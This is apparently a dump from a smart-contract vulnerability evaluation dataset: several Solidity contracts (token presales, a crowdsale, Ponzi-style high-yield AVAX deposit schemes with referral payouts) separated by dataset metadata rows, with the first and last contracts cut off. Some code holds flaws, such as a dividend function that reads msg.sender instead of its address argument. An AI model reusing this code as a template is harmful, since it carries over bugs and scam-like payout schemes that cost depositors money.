uint b = block.timestamp.sub(user.admin_infos[i].drawntime);
uint c = a.mul(b).div(TIME_STEP).div(PERCENTS_DIVIDER).div(PERCENTS_DIVIDER);
adminBonus = adminBonus.add(c);
}
}
adminBonus = adminBonus.add(user.admin_bonus);
return adminBonus;
}
function getContractBalance() internal view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate(uint256 base_amount) public view returns (uint256) {
uint256 contractBalance = address(this).balance;
if(contractBalance > base_amount){
contractBalance = contractBalance.sub(base_amount);
}
else{
contractBalance = 0;
}
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
contractBalancePercent = contractBalancePercent.min(MAX_PERCENT);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress, uint256 time, uint256 base_amount) internal view returns (uint256) {
uint256 contractBalanceRate = getContractBalanceRate(base_amount);
if (isActive(userAddress)) {
uint256 timeMultiplier = (block.timestamp.sub(time)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier.min(40));
} else {
return contractBalanceRate;
}
}
function getContractBalanceMaxRate(address userAddress) public view returns (uint256){
User memory user = users[userAddress];
uint256 base_amount = uint256(-1);
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
base_amount = base_amount.min(temp.contact_amount);
}
}
return getContractBalanceRate(base_amount);
}
function getUserPercentMaxRate(address userAddress) internal view returns (uint256) {
User memory user = users[userAddress];
uint256 time = block.timestamp;
uint256 base_amount = uint256(-1);
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
time = time.min(temp.drawntime);
base_amount = base_amount.min(temp.contact_amount);
}
}
return getUserPercentRate(userAddress, time, base_amount);
}
function getUserDividends(address userAddress) internal view returns (uint256) {
User memory user = users[userAddress];
uint256 totalDividends = 0;
uint256 dividends = 0;
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
uint256 userPercentRate = getUserPercentRate(msg.sender, temp.drawntime, temp.contact_amount);
dividends = (temp.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(temp.drawntime))
.div(TIME_STEP);
if (temp.withdrawn.add(dividends) > temp.amount.mul(2)) {
dividends = (temp.amount.mul(2)).sub(temp.withdrawn);
}
totalDividends = totalDividends.add(dividends);
}
}
return totalDividends;
}
function getUserDividendsOut(address userAddress) internal view returns (uint256) {
User memory user = users[userAddress];
uint256 totalDividends = 0;
uint256 dividends = 0;
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
uint256 userPercentRate = getUserPercentRate(msg.sender, temp.drawntime, temp.contact_amount);
dividends = (temp.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(temp.drawntime))
.div(TIME_STEP);
if (temp.withdrawn.add(dividends) > temp.amount.mul(2)) {
dividends = (temp.amount.mul(2)).sub(temp.withdrawn);
totalDividends = totalDividends.add(dividends);
}
}
}
return totalDividends;
}
function getUserReferralBonus(address userAddress) internal view returns (uint256) {
return users[userAddress].bonus;
}
//
function getUserAvailable(address userAddress) internal view returns (uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
for(uint256 i = 0; i < user.deposits.length; i++){
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
return true;
}
}
}
return false;
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns (uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) internal view returns (uint256) {
return users[userAddress].allAmount;
}
function getUserTotalWithdrawn(address userAddress) internal view returns (uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly {size := extcodesize(addr)}
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? b : a;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
| 298,511 | 604 |
3a3cdd6ba8630f8e130aa286143d7eb3ed63c40190a346a6ee7728d650714406
| 8,868 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xd2f7a3cbcc4aa43de3cd23f19bd5d9ce4524e135.sol
| 2,360 | 8,488 |
pragma solidity ^0.4.18;
// SATURN strategic exchange program
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function totalSupply() constant returns (uint256 _supply);
function transfer(address to, uint value) returns (bool ok);
function transfer(address to, uint value, bytes data) returns (bool ok);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC223Token is ERC223 {
using SafeMath for uint;
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver reciever = ContractReceiver(_to);
reciever.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract SaturnPresale is ContractReceiver {
using SafeMath for uint256;
bool public active = false;
address public tokenAddress;
uint256 public hardCap;
uint256 public sold;
struct Order {
address owner;
uint256 amount;
uint256 lockup;
bool claimed;
}
mapping(uint256 => Order) private orders;
uint256 private latestOrderId = 0;
address private owner;
address private treasury;
event Activated(uint256 time);
event Finished(uint256 time);
event Purchase(address indexed purchaser, uint256 id, uint256 amount, uint256 purchasedAt, uint256 redeemAt);
event Claim(address indexed purchaser, uint256 id, uint256 amount);
function SaturnPresale(address token, address ethRecepient, uint256 presaleHardCap) public {
tokenAddress = token;
owner = msg.sender;
treasury = ethRecepient;
hardCap = presaleHardCap;
}
function tokenFallback(address , uint _value, bytes) public {
// Accept only SATURN ERC223 token
if (msg.sender != tokenAddress) { revert(); }
// If the Presale is active do not accept incoming transactions
if (active) { revert(); }
// Only accept one transaction of the right amount
if (_value != hardCap) { revert(); }
active = true;
Activated(now);
}
function amountOf(uint256 orderId) constant public returns (uint256 amount) {
return orders[orderId].amount;
}
function lockupOf(uint256 orderId) constant public returns (uint256 timestamp) {
return orders[orderId].lockup;
}
function ownerOf(uint256 orderId) constant public returns (address orderOwner) {
return orders[orderId].owner;
}
function isClaimed(uint256 orderId) constant public returns (bool claimed) {
return orders[orderId].claimed;
}
function () external payable {
revert();
}
function shortBuy() public payable {
// 10% bonus
uint256 lockup = now + 12 weeks;
uint256 priceDiv = 1818181818;
processPurchase(priceDiv, lockup);
}
function mediumBuy() public payable {
// 25% bonus
uint256 lockup = now + 24 weeks;
uint256 priceDiv = 1600000000;
processPurchase(priceDiv, lockup);
}
function longBuy() public payable {
// 50% bonus
uint256 lockup = now + 52 weeks;
uint256 priceDiv = 1333333333;
processPurchase(priceDiv, lockup);
}
function processPurchase(uint256 priceDiv, uint256 lockup) private {
if (!active) { revert(); }
if (msg.value == 0) { revert(); }
++latestOrderId;
uint256 purchasedAmount = msg.value.div(priceDiv);
if (purchasedAmount == 0) { revert(); } // not enough ETH sent
if (purchasedAmount > hardCap - sold) { revert(); } // too much ETH sent
orders[latestOrderId] = Order(msg.sender, purchasedAmount, lockup, false);
sold += purchasedAmount;
treasury.transfer(msg.value);
Purchase(msg.sender, latestOrderId, purchasedAmount, now, lockup);
}
function redeem(uint256 orderId) public {
if (orderId > latestOrderId) { revert(); }
Order storage order = orders[orderId];
// only owner can withdraw
if (msg.sender != order.owner) { revert(); }
if (now < order.lockup) { revert(); }
if (order.claimed) { revert(); }
order.claimed = true;
ERC223 token = ERC223(tokenAddress);
token.transfer(order.owner, order.amount);
Claim(order.owner, orderId, order.amount);
}
function endPresale() public {
// only the creator of the smart contract
// can end the crowdsale prematurely
if (msg.sender != owner) { revert(); }
// can only stop an active crowdsale
if (!active) { revert(); }
_end();
}
function _end() private {
// if there are any tokens remaining - return them to the owner
if (sold < hardCap) {
ERC223 token = ERC223(tokenAddress);
token.transfer(treasury, hardCap.sub(sold));
}
active = false;
Finished(now);
}
}
| 219,667 | 605 |
ccb36bfc760d5301a428a484944288c84e0f25fa6a5d0b3a2629a4cc27a1233d
| 20,690 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x2f97dc94317760c7204e72a5bd058c10b409dc12.sol
| 3,368 | 13,365 |
pragma solidity ^0.4.10;
contract IERC20Token {
function name() public constant returns (string _name) { _name; }
function symbol() public constant returns (string _symbol) { _symbol; }
function decimals() public constant returns (uint8 _decimals) { _decimals; }
function totalSupply() constant returns (uint total) {total;}
function balanceOf(address _owner) constant returns (uint balance) {_owner; balance;}
function allowance(address _owner, address _spender) constant returns (uint remaining) {_owner; _spender; remaining;}
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract SafeMath {
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(a >= b);
return a - b;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0) || (z / x == y));
return z;
}
function safeDiv(uint256 x, uint256 y) internal returns (uint256) {
assert(y != 0);
return x / y;
}
}
contract ERC20StandardToken is IERC20Token, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
//tokens already issued
uint256 tokensIssued;
//balances for each account
mapping (address => uint256) balances;
//one account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
function ERC20StandardToken() {
}
//
//IERC20Token implementation
//
function totalSupply() constant returns (uint total) {
total = tokensIssued;
}
function balanceOf(address _owner) constant returns (uint balance) {
balance = balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
// safeSub inside doTransfer will throw if there is not enough balance.
doTransfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
// safeSub inside doTransfer will throw if there is not enough balance.
doTransfer(_from, _to, _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
//
// Additional functions
//
function getRealTokenAmount(uint256 tokens) constant returns (uint256) {
return tokens * (uint256(10) ** decimals);
}
//
// Internal functions
//
function doTransfer(address _from, address _to, uint256 _value) internal {
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
}
}
contract ITokenPool {
ERC20StandardToken public token;
function setTrustee(address trustee, bool state);
function getTokenAmount() constant returns (uint256 tokens) {tokens;}
}
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
owner = _newOwner;
}
}
///A token that have an owner and a list of managers that can perform some operations
///Owner is always a manager too
contract Manageable is Owned {
event ManagerSet(address manager, bool state);
mapping (address => bool) public managers;
function Manageable() Owned() {
managers[owner] = true;
}
modifier managerOnly {
assert(managers[msg.sender]);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
super.transferOwnership(_newOwner);
managers[_newOwner] = true;
managers[msg.sender] = false;
}
function setManager(address manager, bool state) ownerOnly {
managers[manager] = state;
ManagerSet(manager, state);
}
}
///Token that when sent to specified contract (returnAgent) invokes additional actions
contract ReturnableToken is Manageable, ERC20StandardToken {
mapping (address => bool) public returnAgents;
function ReturnableToken() {}
function setReturnAgent(ReturnTokenAgent agent) managerOnly {
returnAgents[address(agent)] = true;
}
function removeReturnAgent(ReturnTokenAgent agent) managerOnly {
returnAgents[address(agent)] = false;
}
function doTransfer(address _from, address _to, uint256 _value) internal {
super.doTransfer(_from, _to, _value);
if (returnAgents[_to]) {
ReturnTokenAgent(_to).returnToken(_from, _value);
}
}
}
///Returnable tokens receiver
contract ReturnTokenAgent is Manageable {
//ReturnableToken public returnableToken;
mapping (address => bool) public returnableTokens;
//modifier returnableTokenOnly {require(msg.sender == address(returnableToken)); _;}
modifier returnableTokenOnly {require(returnableTokens[msg.sender]); _;}
function returnToken(address from, uint256 amountReturned);
function setReturnableToken(ReturnableToken token) managerOnly {
returnableTokens[address(token)] = true;
}
function removeReturnableToken(ReturnableToken token) managerOnly {
returnableTokens[address(token)] = false;
}
}
contract IInvestRestrictions is Manageable {
function canInvest(address investor, uint amount, uint tokensLeft) constant returns (bool result) {
investor; amount; result; tokensLeft;
}
function investHappened(address investor, uint amount) managerOnly {}
}
contract ICrowdsaleFormula {
function howManyTokensForEther(uint256 weiAmount) constant returns(uint256 tokens, uint256 excess) {
weiAmount; tokens; excess;
}
function tokensLeft() constant returns(uint256 _left) { _left;}
}
contract BCSCrowdsale is ICrowdsaleFormula, Manageable, SafeMath {
enum State {Unknown, BeforeStart, Active, FinishedSuccess, FinishedFailure}
ITokenPool public tokenPool;
IInvestRestrictions public restrictions; //restrictions on investment
address public beneficiary; //address of contract to collect ether
uint256 public startTime; //unit timestamp of start time
uint256 public endTime; //unix timestamp of end date
uint256 public minimumGoalInWei; //TODO or in tokens
uint256 public tokensForOneEther; //how many tokens can you buy for 1 ether
uint256 realAmountForOneEther; //how many tokens can you buy for 1 ether * 10**decimals
uint256 bonusPct; //additional percent of tokens
bool public withdrew; //true if beneficiary already withdrew
uint256 public weiCollected;
uint256 public tokensSold;
bool public failure; //true if some error occurred during crowdsale
mapping (address => uint256) public investedFrom; //how many wei specific address invested
mapping (address => uint256) public tokensSoldTo; //how many tokens sold to specific addreess
mapping (address => uint256) public overpays; //overpays for send value excesses
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
// Refund was processed for a contributor
event Refund(address investor, uint weiAmount);
// Overpay refund was processed for a contributor
event OverpayRefund(address investor, uint weiAmount);
function BCSCrowdsale(ITokenPool _tokenPool,
IInvestRestrictions _restrictions,
address _beneficiary,
uint256 _startTime,
uint256 _durationInHours,
uint256 _goalInWei,
uint256 _tokensForOneEther,
uint256 _bonusPct)
{
require(_beneficiary != 0x0);
require(address(_tokenPool) != 0x0);
require(_durationInHours > 0);
require(_tokensForOneEther > 0);
tokenPool = _tokenPool;
beneficiary = _beneficiary;
restrictions = _restrictions;
if (_startTime == 0) {
startTime = now;
} else {
startTime = _startTime;
}
endTime = (_durationInHours * 1 hours) + startTime;
tokensForOneEther = _tokensForOneEther;
minimumGoalInWei = _goalInWei;
bonusPct = _bonusPct;
weiCollected = 0;
tokensSold = 0;
failure = false;
withdrew = false;
realAmountForOneEther = tokenPool.token().getRealTokenAmount(tokensForOneEther);
}
function() payable {
invest();
}
function invest() payable {
require(canInvest(msg.sender, msg.value));
uint256 excess;
uint256 weiPaid = msg.value;
uint256 tokensToBuy;
(tokensToBuy, excess) = howManyTokensForEther(weiPaid);
require(tokensToBuy <= tokensLeft() && tokensToBuy > 0);
if (excess > 0) {
overpays[msg.sender] = safeAdd(overpays[msg.sender], excess);
weiPaid = safeSub(weiPaid, excess);
}
investedFrom[msg.sender] = safeAdd(investedFrom[msg.sender], weiPaid);
tokensSoldTo[msg.sender] = safeAdd(tokensSoldTo[msg.sender], tokensToBuy);
tokensSold = safeAdd(tokensSold, tokensToBuy);
weiCollected = safeAdd(weiCollected, weiPaid);
if(address(restrictions) != 0x0) {
restrictions.investHappened(msg.sender, msg.value);
}
require(tokenPool.token().transferFrom(tokenPool, msg.sender, tokensToBuy));
Invested(msg.sender, weiPaid, tokensToBuy);
}
function canInvest(address investor, uint256 amount) constant returns(bool) {
return getState() == State.Active &&
(address(restrictions) == 0x0 ||
restrictions.canInvest(investor, amount, tokensLeft()));
}
function howManyTokensForEther(uint256 weiAmount) constant returns(uint256 tokens, uint256 excess) {
uint256 bpct = getCurrentBonusPct();
uint256 maxTokens = (tokensLeft() * 100) / (100 + bpct);
tokens = weiAmount * realAmountForOneEther / 1 ether;
if (tokens > maxTokens) {
tokens = maxTokens;
}
excess = weiAmount - tokens * 1 ether / realAmountForOneEther;
tokens = (tokens * 100 + tokens * bpct) / 100;
}
function getCurrentBonusPct() constant returns (uint256) {
return bonusPct;
}
function tokensLeft() constant returns(uint256) {
return tokenPool.getTokenAmount();
}
function amountToBeneficiary() constant returns (uint256) {
return weiCollected;
}
function getState() constant returns (State) {
if (failure) {
return State.FinishedFailure;
}
if (now < startTime) {
return State.BeforeStart;
} else if (now < endTime && tokensLeft() > 0) {
return State.Active;
} else if (weiCollected >= minimumGoalInWei || tokensLeft() <= 0) {
return State.FinishedSuccess;
} else {
return State.FinishedFailure;
}
}
function refund() {
require(getState() == State.FinishedFailure);
uint amount = investedFrom[msg.sender];
if (amount > 0) {
investedFrom[msg.sender] = 0;
weiCollected = safeSub(weiCollected, amount);
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
}
function withdrawOverpay() {
uint amount = overpays[msg.sender];
overpays[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
OverpayRefund(msg.sender, amount);
} else {
overpays[msg.sender] = amount; //restore funds in case of failed send
}
}
}
function transferToBeneficiary() {
require(getState() == State.FinishedSuccess && !withdrew);
withdrew = true;
uint256 amount = amountToBeneficiary();
beneficiary.transfer(amount);
Refund(beneficiary, amount);
}
function makeFailed(bool state) managerOnly {
failure = state;
}
function changeBeneficiary(address newBeneficiary) managerOnly {
beneficiary = newBeneficiary;
}
}
| 184,042 | 606 |
b9504fad46a620992120df59b99d5d5b3cda431191b5609bf1a0013c7a8a0462
| 11,906 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/32/3289050e8ab76af976b79a18fbaac3b4145a9e6e_GIGAFomo.sol
| 3,673 | 11,209 |
pragma solidity 0.5.8;
contract GIGAFomo {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether; // 0.1 AVAX
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 80;
uint256 constant public DEVELOPER_FEE = 20;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 50; //5%
uint256 WITHDRAW_FEE_2 = 100; //10%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 75)); // 7.5% per day for 21 days
plans.push(Plan(28, 70)); // 7% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 75)); // 7.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
